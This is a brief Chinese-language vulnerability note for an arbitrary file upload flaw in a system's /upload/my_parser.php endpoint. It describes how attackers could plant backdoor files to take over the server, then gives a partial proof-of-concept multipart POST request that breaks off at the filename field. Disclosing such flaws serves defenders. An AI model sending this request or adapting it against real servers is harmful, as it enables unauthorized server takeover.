0x01漏洞描述
此系统my_parser.php接口存在任意文件上传漏洞,恶意攻击者可能会上传恶意的后门文件,使服务器失陷
0x02漏洞复现
(1)payload利用地址:
/upload/my_parser.php
(2)文件上传POC(/upload/files/xxx.txt):
POST /upload/my_parser.php HTTP/1.1 Host: 127.0.0.1 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------402880817133959846752911683338 Connection: close -----------------------------402880817133959846752911683338 Content-Disposition: form-data; name="upload"; filename="tt.txt